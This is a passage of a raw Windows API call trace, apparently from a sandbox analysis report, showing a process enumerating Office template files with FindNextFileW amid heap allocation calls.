cAlternateFileName="")) returned 1 [0079.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f30f0 [0079.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223700 [0079.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.829] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="")) returned 1 [0079.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3110 [0079.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223808 [0079.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.830] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="")) returned 1 [0079.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3130 [0079.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223910 [0079.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.831] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieLetter.dotx", cAlternateFileName="")) returned 1 [0079.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3150 [0079.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223a18 [0079.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.833] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3170 [0079.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223b20 [0079.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.834] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2c5ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x96f4b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieNewsletter.dotx", cAlternateFileName="")) returned 1 [0079.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f3190 [0079.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223c28 [0079.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.835] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e312190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x6724a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieResume.dotx", cAlternateFileName="")) returned 1 [0079.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f31b0 [0079.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1223d30 [0079.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.836] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494000, ftCreationTime.dwHighDateTime=0x1ca582b, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe494000, ftLastWriteTime.dwHighDateTime=0x1ca582b, nFileSizeHigh=0x0, nFileSizeLow=0x4352, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blog.dotx", cAlternateFileName="")) returned 1 [0079.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f31d0 [0079.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc940 [0079.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BloodPressureTracker.xltx", cAlternateFileName="")) returned 1 [0079.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb72000, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6eb72000, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x125418, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClassicPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b535800, ftCreationTime.dwHighDateTime=0x1c9d51e, ftLastAccessTime.dwLowDateTime=0xf5a1f3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8b535800, ftLastWriteTime.dwHighDateTime=0x1c9d51e, nFileSizeHigh=0x0, nFileSizeLow=0x95482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContemporaryPhotoAlbum.potx", cAlternateFileName="")) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x26022, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityLetter.Dotx", cAlternateFileName="")) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x145ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.837] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x25ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1bec38, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityReport.Dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x45054, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityResume.Dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialLetter.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea93, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xbc195, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3d0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x47014, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialResume.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x11d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveLetter.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x12042, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveMergeLetter.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3d49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveNewsletter.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3f69d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xcb42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveReport.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1b00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExecutiveResume.dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x4a4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExpenseReport.xltx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAX", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba83800, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5b76030, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ba83800, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x10b563f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntroducingPowerPoint2010.potx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianLetter.Dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1955a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeFax.Dotx", cAlternateFileName="")) returned 1 [0079.838] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianMergeLetter.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x48355, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianReport.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x290e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MedianResume.Dotx", cAlternateFileName="")) returned 1 [0079.839] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xab82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Word 2003 Look.dotx", cAlternateFileName="")) returned 1 